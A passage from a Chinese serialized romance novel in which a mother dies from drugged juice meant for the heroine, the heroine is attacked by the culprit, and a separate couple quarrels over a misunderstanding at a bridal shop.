送走盛珽妄和温疏亦,汤凤玉的心情还是有一些忧伤。 她越来越觉得,这个女儿就是根搅屎棍。 李贞贞不满汤凤玉的偏心,又跟她吵了起来。 “我告诉你妈,你再讨好也没有用,盛珽妄对你没有信任了,在他眼里,你就个骗子,你还不如跟我搞好关系,以后我还能养你的老。” 汤凤玉气得心脏发颤,“我不用你养我的老,我就是因为亏欠你哥太多了,我才想拼命的对他好,倒是你,赶紧的消失在我面前吧,我真的求你了。” “你要儿子不要女儿是不是?好,我走,我马上走,我让你一辈子都见不到我。” “走,赶紧走。” “你别后悔。” 李贞贞甩门而去。 汤凤玉的气压也压不住。 她端起手边的橙汁,喝了两口。 第110章 是谋杀 顾临给盛珽妄打来电话时。 他刚洗了澡,准备上床睡觉。 “什么?知道了,我马上过去。” 盛珽妄的脸变了色。 他脱下浴袍,穿好裤子,抓起外套就要往外走。 温疏亦急忙拽住他,“发生什么了?” “那边……”他喉间,不自觉漫上一抹哽咽,“……我们走后,她,她出事了。” 温疏亦立马明白了。 “你是说,你妈出事了?” 盛珽妄点头。 “怎么会这样?明明,我们走的时候,她还挺好的……”温疏亦忙拿了外套,跟他一起出门,“送到哪家医院了?在抢救吗?还是……” 盛珽妄没说话。 司机将车开过来。 载着二人急速向医院狂奔。 顾临看到盛珽妄和温疏亦赶过来。 忙快步迎了上去。 “怎么样了?”盛珽妄急问。 顾临有些不知道该如何说,“送来的时候,已经……心脏骤停了,经过抢救……” “经过抢救怎么样?”盛珽妄握着顾临的肩,双眸轻颤,“说啊。” “经过抢救,也并没有……出现奇迹。” 顾临的话刚落地。 盛珽妄的脚下一软,高大的身子晃了两下,“没有出现奇迹的意思是……” 温疏亦急忙扶住了盛珽妄。 其实说到这儿,大家都明白了这句话的含义。 但是没听说汤凤玉有心脏病啊。 怎么会心脏骤停呢。 “顾医生,查出死因了吗?我是说,是什么诱发的心脏骤停?” “还不清楚。”顾临推了推鼻梁的眼镜,“不过抢救的时候,发现她胃里有未消化的橙汁,初步考虑她是过敏引发的休克,导致后面的心脏骤停,但这个需要尸检,得家属同意。” 果汁? 是那杯她没喝的果汁吗? 温疏亦看了眼盛珽妄,想搞清楚死因,得经过盛珽妄的同意。 “珽妄,你要尸检吗?”温疏亦轻轻地问。 盛珽妄深吸了一口气,压下沉痛,“她橙汁不过敏,也没有心脏病,我需要知道她的死因。” 顾临明白了。 “我知道了。” 法医很快对汤凤玉的尸体做了尸检。 当顾临拿到尸检报告时,出了一身的冷汗。 是谋杀。 汤凤玉不过是一个普通的家庭妇女,谁会谋杀她? 他将报告单,递给了盛珽妄。 “她的血液中检查出了一种可以导致心脏猝死的药物,这种药物市面上见不到的,法医初步判断是谋杀,但是……阿姨,是有什么仇人吗?” 盛珽妄捏着报告单。 逐字逐句地看着。 指尖不自觉地颤抖着,眼眶也慢慢开始泛红。 “她没有仇家。” “那是误服?”顾临只能猜到这么一个原因,“但是,这种药市面上买不到的,除非……除非是找黑市,价格又很昂贵,不可能有人买这种药……” 顾临有了一个大胆的猜测,“……能出现在你妈那个家里的,只有她和李贞贞,莫不是……” 经顾临这么一提醒。 温疏亦突然想到了,李贞贞给她倒的那杯果汁。 “弄不好,真是李贞贞。” 盛珽妄指尖握着的报告单,慢慢地蜷进掌心里。 他现在几乎可以确定,就是李贞贞。 “就是她。” 温疏亦小手轻轻地放到了男人的肩上,压下他的激动,“她那杯果汁是想害我的,虽然当时我不知道里面是什么,但我察觉了她的动机,没喝,我们离开后,可能你妈给喝了,结果……” 结果,人就这样悄无声息地去世了。 事实大概清楚了。 盛珽妄在处理汤凤玉后事的时候。 温疏亦去了一趟汤凤玉的家。 家里,还是他们离开时的样子,看样子,李贞贞在他们离开后,也一直没有回来。 餐桌上的剩菜还在。 那四杯果汁也是原来的样子。 只是属于她原来的那杯,喝掉了三分之一。 一时,唏嘘上头,温疏亦眼眶泛起了酸。 汤凤玉怎么就死了呢。 她不仅是盛珽妄的母亲,更是他过不去的心结。 盛珽妄还没有解开心结。 怎么就…… 温疏亦拉了把椅子过来,坐在那儿出神。 李贞贞不知道什么时候,走了进来,“温疏亦,你跑到我们家里来干什么?” 温疏亦没说话。 她四处喊人,“妈,妈,我饿了,赶紧的给我做饭吃。” 没人回应她。 她将脚上的鞋子踢掉,“妈,你是聋了吗?我饿了,给我下碗面吃。” “妈。” “妈……” “别喊了。”温疏亦淡漠出声,脸上是说不出的清冷,“李贞贞,你妈死了,被你害死了,以后你都不会有妈了。” “温疏亦,你疯了吧你,你还咒上人了。” 李贞贞看温疏亦不顺眼不是一天两天。 上次下药的果汁没喝,她最近又在想其它的办法。 反正,早晚她得弄死这个女人。 温疏亦优雅地从椅子上站了起身,回眸望向了李贞贞。 夸张的发型。 暴露的衣着。 廉价的香水味。 一个把风尘腌入味了的女子。 这种人,如何配当一个女儿,当盛珽妄的妹妹。 “李贞贞,你妈死了,是你害死的,她喝了你为我准备的果汁,她现在正躺在冰冷的殡仪馆里,哦不……”温疏亦浅淡摇头,“……说不定现在已经火化了,已经成了一捧灰。” 李贞贞不敢置信。 她诧愕地转头,望向了餐桌上那杯喝了三分之一的果汁…… “不,不可能的,她又不爱喝果汁,温疏亦,你胡说八道,看我不撕烂你的……” 李贞贞高高扬起手,想要给温疏亦一个耳光。 被温疏亦反手扣住,扬手扇了她一个响脆的巴掌,“我告诉你李贞贞,你现在是杀人凶手,你等着警察来抓你吧。” “不是的,我没有,我妈根本就没有死……” 李贞贞死死盯着温疏亦。 她不信。 妈妈怎么会死?明明她离开时,她还那样中气十足地跟她吵架。 那杯果汁…… 不,她不会喝的。 她发疯似的冲进每个房间,衣柜门被她扯得哐当作响。 没有。 哪里都没有。 “妈……” 空荡的屋子里撞出回音。 没有回应。 温疏亦静静看着,脸上没什么表情。 她闭了闭眼。 随后,她转过身,拾步朝门口走去。 “你撒谎。”李贞贞嘶叫的声音,从她身后传来。 “我是不是撒谎,你很快就会知道。” 温疏亦不想再跟李贞贞废话。 她替汤凤玉感到悲哀。 轻轻地摇了摇头。 她再次拾步。 李贞贞的头木然的动了动,双眸瞪出血红,像得了失心疯般的,抓起花瓶,用尽全身力气,朝着温疏亦后脑狠狠砸去…… 第111章 凶手 “砰!” 温疏亦眼眸骤然瞪大。 她身子不稳地踉跄了一下,晃了两晃,软软地倒了下去,额头磕在地板上,发出一声闷响。 血,迅速从她乌黑的发间渗了出来,触目惊心。 李贞贞握着残留的瓶颈,像是突然回了神,猛地松手。 她惊恐地后退了两步。 呢喃着,“你自找的,全是你自找的……” 空气中弥漫着铁锈般的血腥味。 她浑身开始不受控制地发抖,嘴唇哆嗦着,“你不该骗我……我妈没死……你骗我……你就是个骗子……骗子……就该打,该死……” 李贞贞呓语着,逃离了现场。 …… 处理后事的现场。 张纶抬腕看了眼时间。 温疏亦给他打电话说,她说会在起程去往墓地之前,就过来。 刚刚他给她打了个电话,无人接听。 这个节骨眼上。 以她的性格。 她不应该不接电话,更不应该会迟到。 会不会是出事了? 一想到这个,张纶的心就跳的乱七八遭的。 他急忙去找了盛珽妄,“三爷,夫人她……联系不上了。” “她说去哪儿了?”盛珽妄问。 张纶想了想,摇头,“她只是说要出去一趟,但没说去哪儿,刚刚打她的手机没人接听,您要不定位一下她?” 盛珽妄拿出手机。 很快利用软件定位温疏亦的位置。 “在阳光花园小区。”他右眼跳了一下,心口也有些慌,“张纶,你留下来,把后面的事情办完,我去找温疏亦。” “好的三爷,你放心,我会办好的。” 盛珽妄开车去了温疏亦所在的小区。 他猜温疏亦一定是想去验证自己的猜测。 其实,根本无需验证。 李贞贞就是凶手。 这是毋庸置疑的。 李贞贞这次的丧心病狂,让他想到了,温疏亦在游泳池出事那次。 他在监控里看到过李贞贞。 当时没往她身上想。 现在看来……跟她脱不了干系。 她想害温疏亦的想法,一直在的。 坏了。 万一,她们两个撞上…… 不自觉,脚下的油门踩得更重了一些。 车没停稳他就冲了下去,三步并作两步跑上楼。 门虚掩着。 他心一沉,推门进去,没走两步,整个人僵住了…… 温疏亦倒在地上,身下一滩血,刺得他眼睛发疼。 “老婆……”他冲过去跪倒在地,手忙脚乱地把人抱起来,“老婆,疏亦,你醒醒,你别吓我,疏亦……” 血糊了他一手,温的,粘的,还在往外渗。 温疏亦脸色白得像纸,呼吸弱得几乎感觉不到。 “没事的,不会有事……” 他声音抖得厉害,一把抱起她就往外冲。 怀里的人轻飘飘的,头软软垂在他臂弯里。 他只觉得脑子嗡嗡响,什么都顾不上想,只知道要快,再快一点。 冲进医院时,他白衬衫前襟已经红了一大片。 顾临看着医护人员将温疏亦快速推进急救室,不由得眉头一皱。 回头,就看到站在走廊中央、浑身是血的盛珽妄。 “这到底是怎么了?温疏亦她……你们家最近怎么回事,怎么一个接着一个?” 盛珽妄仿佛没听见,沾着血的手指划开手机屏幕。 “张纶,动用所有关系,立刻把李贞贞给我翻出来。找到人后,控制住,等我处置。” 顾临瞬间明白了,他走到盛珽妄身边坐下,难以置信地:“又是李贞贞?她真是疯了不成?害死自己的亲妈还不够?现在连温疏亦也……” 他话没说完,但意思再明白不过。 “她不会再有下一次机会了。” 盛珽妄的声音从牙缝里挤出,青筋暴起的手背,是他无法压抑的戾气。 顾临心头一紧,立刻按住他紧绷的手臂:“珽妄,你冷静点!这种事绝不能沾自己的手。我已经报警了,把前后的疑点和证据都提交了,警方会介入调查,自然会给你一个公道。” “公道?”盛珽妄缓缓转过头,眼底是骇人的红,“法律给她的公道,抵得过一死一重伤?” 他声音嘶哑,带着浓重的血腥味。 顾临沉息。 是啊,对于李贞贞来说,用法律来审判她,是有点便宜她了。 可她到底是…… “她再怎么说也是你的妹妹……” “妹妹?”盛珽妄唇角噙起毫无感情的冷笑,“我没有这种丧心病狂的妹妹。从她害死我妈,对疏亦下手那一刻起,她就什么都不是了。” 顾临看着盛珽妄失控又强行压抑的样子,深知再劝无用,只能用力捏了捏他的肩膀,“先不说这个了,眼下最重要的,是疏亦。她……她一定会挺过来的。” 盛珽妄没有回应。 如果温疏亦这次真的出事,无法挽回,他会大开杀戒的。 时间滴滴嗒嗒。 盛珽妄一言不发。 顾临也只是无声地陪伴在左右。 急救室灯,终是灭了。 盛珽妄一个箭步冲过去,“怎么样?我老婆没事吧?” 医生尽了最大的努力。 病人也争气,虽然输了一些血,但没有生命危险。 “没事,你放心吧,治疗一段时间就会康复的。” 盛珽妄点头,感谢了医生。 温疏亦没什么大问题。 她觉得自己命大。 也大概是盛珽妄用三十年换她的这一命,太值钱了,总也死不掉。 看着男人透红的眼睛。 她抬手摸了摸他的脸,“意外而已,我是真没有想到,李贞贞如此的……丧心病狂。” “以后去哪儿,记得跟我说一声,今天要不是张纶提醒,我都不知道你会出事。”盛珽妄握着她的小手,吻了吻掌心,“温疏亦,我年纪也不小了,可经不起这么吓的。” “知道了,以后我会跟你报备的。”她动了动脑袋。 疼。 真的疼。 “你妈的后事处理完了吗?”她问。 盛珽妄交给张纶处理了,“应该处理完了。” “那你打算怎么处理李贞贞?她毕竟是你的妹妹。” 温疏亦和顾临说了同样的话。 他们似乎都在向盛珽妄传递一个信息,那就是要不要顾念亲情。 可是在他的眼中。 李贞贞从未当他是一个同母生的哥哥。 她看中的只是自己的钱。 处心积虑地做了这么多的坏事,哪有亲情可言。 他抬手揉了揉女人的头发,心疼又宠溺,“这事你就别管了,我会处理好的,你呢,就好好的把伤养好,等伤养好了,咱们就去拍婚纱照。” 提到这个。 温疏亦不免又有一些忧虑,“你妈刚刚过世,我们接着就结婚,不太好吧,要不……” 她想说,要不,往后拖一拖。 但盛珽妄拒绝了。 有些事情是不能拖的,拖着拖着,就黄了。 “如果她知道,我们要办婚礼,她一定很高兴的。” 虽然伤感。 但温疏亦感受到了盛珽妄要娶她的决心,“好。” 第112章 碰巧 顾临接到做婚礼伴郎的通知时,心里没什么波澜。 盛珽妄替他订好了礼服,叫他抽空去试。 正好这天晚班结束,他便顺路去了那家礼服店。 他怎么也没想到,会在这里遇见叶棠。 不,不止叶棠,还有宋复礼。 两个曾经口口声声说“只是朋友”“毫无关系”的人,此刻正一起站在暖色的灯光下,挑选着合适的婚纱,合体的礼服。 顾临脚步仿佛被什么东西钉住了。 他看见叶棠微微侧头和宋复礼说话,宋复礼离她很近,近到近乎亲密,动作熟稔自然。 那一瞬间,顾临觉得自己像个彻头彻尾的小丑。 想笑,嘴角却沉得抬不起来。 他转身,将手里还没细看的礼服塞给身旁的工作人员:“不用试了,就这样,我直接拿走。” 工作人员接过去:“好的先生,我帮您包起来,您稍等。” 等待的几分钟格外漫长。 顾临背对着那两人,目光落在窗外街景上,却什么也看不进去。 直到身后传来轻柔的脚步声,和店员低低的赞叹。 他终究没忍住,回了头。 叶棠已经换好婚纱走了出来,抹胸款式,腰身收得极妥帖,长长的拖尾像月光铺了一地。 她微微抿唇站着,眼里有些许不自在,却依旧美得惊人。 看直了眼的不止顾临。 还有她面前的宋复礼。 他就那么望着她,目光深深,嘴角带着顾临从未见过的、温柔而笃定的笑意。 顾临猛地转回头,深深吸了口气。 原来如此。 心里忽然就有了答案。 他像个傻子一样。 不,不是像,他就是一个彻头彻尾的傻子。 气堵在胸口,咽不下,吐不出。 这时,工作人员将包好的礼服袋递过来:“顾先生,衣服包好了。如果婚礼前您觉得还有需要修改的地方,请提前三天过来,我们可以为您调整。” “不用了。” 顾临接过袋子,没往那个方向看一眼,径直推门离开。 推门时,风铃清脆地响了一声。 夜风扑面,灯火流转。 顾临拎着袋子,弯身坐进车里,很快踩着油门离开。 …… 礼服店里。 叶棠穿着不合身的婚纱,有点别扭。 “复礼,小芸比我瘦,这婚纱我穿,怕不能撑坏了吧?” 宋复礼和女朋友赵小芸要结婚。 赵小芸算是叶棠的闺蜜。 碰巧,赵小芸有个差非出不可,便千拜托,万拜托的,让叶棠来帮她试婚纱。 赵小芸个子娇小,人也瘦,像江南女子。 和叶棠的体型完全不同。 叶棠怎么推也没推掉,只好跟宋复礼来,试赵小芸选好的婚纱,让宋复礼看看效果。 不合身的婚纱穿在自己身上。 美是挺美的。 但终归是别人的,不合适是肯定的了。 “复礼,你觉得怎么样?要不,试下件?” 赵小芸选了六件婚纱,叮嘱叶棠都得试完。 叶棠觉得这是接了个苦差。 “不用试了,我看还得她亲自来试。”宋复礼觉得挺不好意思的。 自己结婚,让叶棠着跟吃苦受累的,“叶棠,一会儿请你吃饭吧,有时间吗?” 叶棠看了眼腕上的手表。 “不瞒你说,我得去给我们的员工,温疏亦,挑结婚礼物,你知道的,她和盛珽妄马上要办婚礼了,做为老板,得表示一下的。” 宋复礼点头。 他很理解,“是得表示一下,那就改天,等小芸回来,咱们再约。” “行,没问题。” 叶棠换下衣服后,跟赵小芸打了个电话,便先行离开了。 婚纱紧巴巴的,把她的腰都勒疼了。 时间还来得及,她准备先去吃个午餐,而后再去商场逛一逛。 挑了家不算太忙的肯德基店。 她点了份成人套餐。 一抬眸,看到了顾临也在。 挺巧的。 自从上次,她让他先处理完他和姜晚的事情,再来跟她谈复合后,就一直没有见过他。 托着餐盘,叶棠坐到了顾临的对面。 “顾医生。” 顾临闻声抬眸,眉头微不可见地收紧,“有事?” 叶棠:……这是不待见她啊。 “顾医生,心情不好吗?”她看了一眼他面前的汉堡和炸鸡,“以前总跟我说,吃这种东西,没营养,也不健康,怎么自己偷偷来吃啊?” 顾临冷笑。 放下手中吃了一半的汉堡,气不顺地看向叶棠。 她还真是用对了词。 偷吃。 没错。 “论起偷吃,还得是叶总啊,不过下次偷吃,记得换个隐私点的地方,让我撞见了,多不好。” 叶棠:……他在阴阳怪气什么? 什么偷吃? “顾临,你什么意思?” “没什么意思。”顾临擦了嘴,将纸巾重重地摔到叶棠的面前,眼神几近凶狠地说,“再见。” 叶棠:……冲她撒什么气? 她什么时候惹到他了? 叶棠也被气到了。 男人怎么这么善变? 抱着她说要娶她是他,看她不顺眼还是他。 她说呢,怎么这么久不联系她,连个电话也不打,弄了半天,是此情已逝啊。 玩她呢? 叶棠没了胃口。 抓起包,就追上了顾临,一把扯住,“顾临,你冲谁甩脸子呢?你阴阳怪气的,我杀你全家了?还是撅你祖坟了?你要不舍得跟姜晚分手,那天晚上的事情,咱们就当没有发生过,别跟我玩冷暴力,老娘不吃你这一套。” 叶棠霹雳啪啦的说完。 扭头就走。 顾临在原地咬了咬牙根,快走几步,扣住她的手腕,就往车上拖。 上车,系安全带,落锁。 一点都没有拖泥带水。 叶棠炸了,“干什么?绑架啊?顾临,你是不是疯了?你有病是不是?” “是你在玩我。”顾临瞪着眼,一副受了委屈的模样,“叶棠,你是不是玩脚踏两只船,玩得挺过瘾啊?你明明和宋复礼马上就要办婚礼了,你还来招惹我?招惹我也就算了,还撒谎,说什么你们只是朋友,你是怎么说出这种话来的?” 叶棠:…… 她和宋复礼就只是朋友。 论关系,她和宋复礼的太太赵小芸,关系更好一些。 顾临在胡说八道什么? “谁脚踏两条船了?谁要办婚礼了?顾临,你说话得有根据,明明就是你自己不想跟姜晚分手,找这种拙劣的理由,小心走夜路,掉下水沟。” 叶棠是真生气了。 她从来不在感情里纠缠。 只要顾临肯好好跟她讲,她是拿得起,也放得下的。 何必用这些阴招。 很有意思吗? 顾临瞪大眼珠,“你都跟他去试婚纱了,不是办婚礼是什么?不是脚踏两条船是什么?叶棠,撒谎可是会遭雷击的。” 第113章 改嫁 “你哪只眼睛,看到我去试婚纱了?”叶棠说完,突然想到了什么,“你今天,也去礼服店了?你看到我和宋复礼……” “没错,我就是看到了,我看到你们在试婚纱,他眼睛都看直了……”顾临气得胸口起伏不停,“……说什么只是朋友,朋友可以一起试婚纱,可以结婚办婚礼吗?叶棠,你真当我是傻子呢?” 叶棠:…… 怪不得,她看到了个人的背影,挺像顾临。 原来,他那时真的在。 为这事吃醋了? “当你是傻子,你就是傻子了吗?”叶棠听出来顾临误会了,自己反倒没气了,“在一起试婚纱,就是要结婚?那你和姜晚出双入对的,我是不是也可以说,你们是夫妻了?” “叶棠,你少在这儿强词夺理。”顾临有点气糊涂了,脑子嗡嗡的,“既然这样,咱们就到此为止吧,我不耽误你结婚,你也别耽误我……” “你是认真的?”叶棠的脸色瞬间沉了下去。 顾临竟然一句都没有让她解释。 就做出这种决定,“顾临,你到底是不是认真的?你决定要放弃我了是不是?” “是,没错,我们到此为止,什么结婚,什么重新开始,都去他妈的……”顾临指着自己,眼眶酸疼,“……叶棠,别玩我了,你安心跟宋复礼结婚,我保证不去打扰。” 顾临嘴里啐了句脏话。 叶棠胸口起伏了两下后,解开了安全带,“好,既然你已经决定了,我尊重你的决定,顾临,以后我们就……” “下车。”他没有等她说完,就语气不耐地赶人。 叶棠抿了抿唇,下车,将车门重重摔上。 她生气了。 冲着他开走的车屁股骂了句,“还是医生呢,枉你读了那么多年书,不知道问啊?问一问不就清楚了,以为自己福尔摩斯呢?傻X,你最好别后悔,后悔我也不给你机会。” 她深深地呼了口气。 骂出来,痛快多了。 赵小芸给她打来电话,“棠棠,刚刚复礼的妈打来电话说,原来订下的婚礼日期不好,她找大师算了一下,日子订在了下周二,天哪,我什么也没有准备好,你说我该不该拒绝啊?” 别人的事情,叶棠也不好做主。 婚礼本就是一个件隆重的事情。 挑个好日子,讨的也是个好彩头,老一辈是信这个的,既然决定结婚了,早一天,晚一天的,又能怎样呢。 “宋复礼怎么说?” “他说婚礼前的一切事宜,交给她,我只需要做美美的新娘就好了,可是棠棠,婚礼的请柬还没有发呢,下周二,满打满算,也没有一周的时间了,我好慌的。” 赵小芸有一些婚前焦虑。 叶棠轻声地安抚她的情绪,“别慌,长辈们挑了好日子,也是希望你们以后白头偕老,永结同心的,虽然时间上赶了一些,不过……我可以帮你啊。” “真的吗棠棠。”赵小芸像是找到了心里的慰藉,“那我可真的要麻烦你好多好多呀。” “没事的。” “那我回来就去找你。” 叶棠应着,“好啊。” 宋复礼和赵小芸的婚礼,火急火燎的。 以至于请柬,都是发的电子请柬。 盛珽妄收到后,特意问了顾临,要不要一起去参加。 他百无聊赖,又有一些负气的拒绝了,“我才不去参加他的婚礼。” “宋复礼的岳父,可是你们医学界的泰斗人物,你确定,你放弃这个机会?” 顾临皱着眉,思来想去的。 叶棠的爸转行了? 改行医了? 不能吧? 他那个人,能躺着绝不站着,估计现在叶棠赚了钱,他不知道在哪个地方吃香的喝辣的呢。 “你别开玩笑了,就她爸?” “看来,你没把赵明阳放进眼里啊,也不怪你,你一直觉得超越他,是指日可待的事情,理解,理解。” 顾临蹭的从沙发上坐了起来。 连睡衣都没有拢好,头脑发懵的问,“赵明阳?宋复礼的岳父是赵明阳?他不是跟叶棠结婚吗?怎么……叶棠的妈,改嫁了?” 盛珽妄:……??? “我听说,人家是原配。” “原配?”顾临糊涂了。 明明是叶棠要和宋复礼结婚。 怎么岳父姓了赵? “盛珽妄,你跟我说,宋复礼他娶了谁?” 盛珽妄扶额,“你还是去邮箱找找请柬看一眼吧,要是去的话,明天一起。” 说完,盛珽妄挂断了手机。 顾临在原地愣了那么一晌后。 打开了自己的邮箱。 新郎:宋复礼。 新娘:……赵小芸???? 赵小芸不是叶棠那个闺蜜吗? 怎么……和宋复礼结婚的……不是她? 那,那天试婚纱礼服是…… 顾临抓着发麻的头皮,心脏跳得突突的,他是不是……又要当孙子了? …… 不出所料。 顾临在宋复礼和赵小芸的婚礼上,见到了叶棠。 她是唯一的伴娘。 新娘的手捧花,送到了她的手上。 她笑的很美。 不过,叶棠在进行完仪式后,并没有留下来吃喜酒。 有一个重要的客户,她需要亲自接待。 跟赵小芸打了招呼,她便先行告辞了。 她很累。 想叫个代驾。 低头拿着手机找软件。 顾临走过来,故意咳嗽了一声,“别人婚礼还没有结束就离开,多少有一点不尊重吧?” 叶棠听出了顾临的声音,但没有抬头。 “我已经跟新娘打过招呼了,大家都是自己人,她很体谅我。” 顾临哦了一声。 仗着身材高大,往叶棠的手机上扫了一眼,“怎么?找代驾?” 叶棠没说话。 顾临摸了摸鼻子,“刚好我没事,你要去哪儿啊,我送你吧?” “不用。”叶棠用软件叫好了代驾。 高峰期,可能得等半个多小时。 她坐进了车子后排,索性闭眼小憩。 顾临看出来,叶棠不怎么想理他,但还是厚着脸皮,上了她的车。 “叶棠,我……” 他想为那天的鲁莽道歉。 他应该给她时间解释一下的。 叶棠并不感兴趣,“……道歉的话就不要说了,我希望顾医生说到做到,我们到此为止,就到此为止了,大家都是成年人,没人会一直为你的幼稚买单。” 顾临承认自己有幼稚。 可他也是因为在乎她,所以才,“……叶棠,如果我不在乎你,我也不会乱吃醋的,你可以原谅我吗?” “你那是在乎我吗?你是在乎自己的脸面。”叶棠不是非要说这些,她觉得两人之间,连基本的信任都没有,在一起没有任何意义,“顾临,没人无条件,无数次原谅你,我也一样。” 第114章 我是你的狗还不行吗 “当时那样的场景,那样的两个人,你让我怎么想嘛?”顾临厚着脸皮,将责任推给了叶棠,“都怪你,去给赵小芸试的什么婚纱,你不去给她试婚纱,我也不会误会,归根结底,责任在你。” 叶棠气笑了。 这倒打一耙的本事,不减反增。 她真的是没力气和精力,再跟他掰扯这事。 “随便你吧,反正,我们两个已经彻底结束了,我不会原谅一个对我没有信任的人,我希望顾医生也要说到做到。” “我做不到。”顾临强行将叶棠的小手握进了掌中,“就给我一次机会,还不行吗?” “没必要。”她将小手又抽了回来,“下车吧,一会儿代驾就来了。” 他指尖抓空,但还是不下车,“人非圣贤,孰能无过嘛,你何必较真。” “顾临,你要点脸吧,你想复合就复合,你想生气就生气,你想不信任就不信任,当我是什么了?你家的狗吗?” 顾临被喷了一脸的口水。 他脸色确实谈不上好看。 但他比任何人都清楚,如果这次不跟叶棠把误会讲清楚,以后连死皮赖脸的机会,都没有。 说不定哪天,她再偷偷摸摸地结婚了,那他怎么办? “我是你的狗还不行吗?” 他将姿态降到最低。 可是叶棠还是不给面子,“下车吧,算我求你了顾临,别这样行吗?我不想再跟你复合了,我们各过各的吧,就这样吧。” 她表现出了,明显的厌烦。 顾临一下恼了,“叶棠,你什么意思?明明是一场误会,你非得搞成这样?你是不是有下家了?所以才迫不及待地推开我?” 叶棠真的被他气笑了。 按理说,医生的脑回路没这么奇葩。 但事实就是,他不仅不信任她,还在胡说八道。 “是啊,我有下家了,怎么样?”叶棠瞪着眼睛,跟他争吵,“我是个女人,我有事业,我长得也不错,我想结婚,大把的人可以选择,你顾临排不上号。” “你终于把心里话说出来了,你现在,压根瞧不上,我这个小医生了是吧?” 顾临头顶冒烟。 仿佛下秒。 不是他死,就是她亡。 叶棠瞪着他,抱着不气死他,不罢休的态度,“是啊,我现在就是瞧不上你了,你有什么呀?你有钱吗?你什么也没有,我就是瞧不上……唔……” 她的唇被堵上了。 顾临连撕带咬的,搅得两人口中,全是铁锈味。 叶棠推开他,抬手就给了他一个巴掌。 换来的是更深,更狠,更不计后果的吻。 她每扇他一个巴掌。 他就摁着她狠狠地吻。 到底是个男人,对于叶棠这样的女人来说,光是力气上就泾渭分明,更不提他现在在气头上,压根也顾不得什么怜香惜玉。 她怎么推也推不开。 这时。 “叶小姐,我是代驾,现在可以走了吗?” 代驾敲了敲车窗。 他站在那儿等了一会儿了。 实在是,他也不想打扰,但是他就是个代驾,时间就是金钱,他还得赚钱。 叶棠推开顾临,端正坐好,“不好意思了,可以走,你开车吧。” “好的。” 车子上路。 两个人都安静了下来。 代驾从后视镜里看了一眼,两个人,一左一右,中间还隔着不小的空间。 刚才吻得那么激烈。 现在看来,怎么比陌生还要……,更像仇人。 代驾将车子停到车位后。 便交钥匙走人。 叶棠拿出手机来给公司里的人打电话,“今天客户什么时候到?要明天?行,正好我今天有些累,那我就先不回公司了,好的,辛苦。” 客户飞机延误。 行程推到了明天。 叶棠决定回家先好好睡一觉。 这几天帮着赵小芸忙婚礼的事情,累得像个陀螺。 进门时,顾临也挤了进来。 “这是我家顾医生,如果你想把这房子要回去,就麻烦你赶紧的,办理过户,我直接搬……唔……” 又是一句话没说完。 他便握住了她的腰,与她接吻。 这次的吻,没那么撕扯,很温柔,像是情事的前戏一般。 叶棠还是强行推开了他。 “你有病吧?我告诉你顾临,做人得有点骨气,既然说了,到此为止,就到此为止,别不要脸。” “你以为什么事情,亲个嘴,上个床,就可以解决?你想多了。” “多疑,固执,动不动就说那些有的没有,没人愿意跟你在一块,也就姜晚能受得了你,自凡是别的女人,都得跑。” 叶棠擦了擦嘴,踢掉脚上的鞋子,“滚蛋,别让我再看见你。” 顾临知道错了。 挽回没有想象的那么简单和容易。 他比叶棠还了解她。 死拗死拗的。 那天他是嘴快,也是气头上,才说了到此为止这句话。 她抓着这句话,不依不饶,真以为他没法对付她了。 “你别没完没了的,行不行?” 叶棠震惊的瞪圆了眸子,“我没完没了?顾临,你说的这叫人话吗?是你死皮赖脸在纠缠我,是你在我的家里,不是我在你的家里。” “我说了,我错了,你还想怎么样嘛?” “你说你错了,我就得说没关系吗?”他还真当她是他养的狗了,“我告诉你顾临,我没有义务跟你说没关系,错了就是错了,原不原谅你,在我,不是你。” “那你就原谅我,不就行了,本来就是一场误会。” 顾临眼里的叶棠,从来不是这么不讲道理的人。 今天,她就非得跟他在这儿较这个真的理由,很简单,就是她不爱了。 她想一脚踢走他。 “叶棠,你以前从来不会这样,哪怕我们之间有天大的误会,只要我们说开了,就可以和好,你看看你现在是什么样子?揪着别人的一点错,就开始横加指责,你说你没有下家,谁信啊。” 叶棠笑了。 顾临没变。 他心里过去了,就认为是一件小事。 他心里过不去,就是一件大事。 他从未真正地意识,他的每句话,每个字,每份质疑,都会给别人带来什么样的感受。 算了,他爱怎么想就怎么想吧。 “人都是会变的,我已经不是以前的叶棠了,顾临,我们完蛋了,是彻底完蛋了,我不想再挽回你,我不想再跟你在一起,我们完了,结束了……” 这架吵得叶棠精疲力竭。 结束吧。 赶紧结束吧。 她累了。 顾临望着她的眼睛,许久都没有吭声。 半晌。 “叶棠,你不后悔吗?” “我做出决定,有后悔过的吗?顾临,我们都变了,十年了,我们之间所有的东西都变了,我们不应该再在一起,结束吧,各自安好吧。” 第115章 错位 顾临咬了咬牙。 话都说到这份上。 他再死皮赖脸,就真成赖皮狗了。 “行,既然你如此的绝决,那我再为难你,显得我不懂事了,咱俩都别后悔。” 顾临走了。 他最后说的这句话。 给叶棠带来了梦魇。 她不知道自己做的是对是错,她对顾临的爱没有消失,只是她觉得,她和他这十年,大家都变了。 就算是复合。 也找不回原来的感觉。 信任,是最难的。 他们已经找回不去了。 …… 盛珽妄和温疏亦的婚礼当天。 李穗安早早地过来,陪温疏亦化妆。 中式喜服下,温疏亦的脸映出一派欢庆的色彩。 “疏亦,你看到哆哆了吗?他今天像个小绅士哦,能参加自己父母的婚礼,他算是头一份了。” 李穗安给小哆哆拍了好多照片。 一张张的给温疏亦翻着看。 “你看他这一本正经的小模样,把旁边的小女孩给迷的,眼睛都挪不开了。” “这小子长大了,可不得了,不知道什么样的女孩,可以驾驭得了。” 温疏亦笑了。 李穗安说得太夸张了,“哆哆性子偏软,谁都能驾驭得了,没那么抢手和不可多得。” “孩子长大会变的嘛。”李穗安笑着说。 一抬眼,她看到了李江衍。 这个场合,他过来,会不会…… “疏亦,我哥来了。”她小声提醒。 温疏亦转眸,看到李江衍便起身迎了过去,“江衍哥,你来了。” “我过来……他不会生气吧?”李江衍脸上的神色,微微有一点点的尴尬。 温疏亦微笑着摇头,“不会的,谢谢你啊,过来参加我的婚礼。” “疏亦,这是送你的新婚礼物。”李江衍递了一个四四方方的盒子。 温疏亦其实不想收的。 原因不是瞧不上,是觉得没必要这么破费。 但今天这个日子。 不收反而是打了李江衍的脸,她便痛快地接下了,“谢谢你江衍哥,还费心给我挑了礼物。” “也没什么好送的,我要是去德国任教了,可能……”可能十年,可能二十年,他不会回华城了。 温疏亦漂亮的眸子一紧,“……你要去国外工作了?那是不是就在国外定居了?” “应该是吧。”他说。 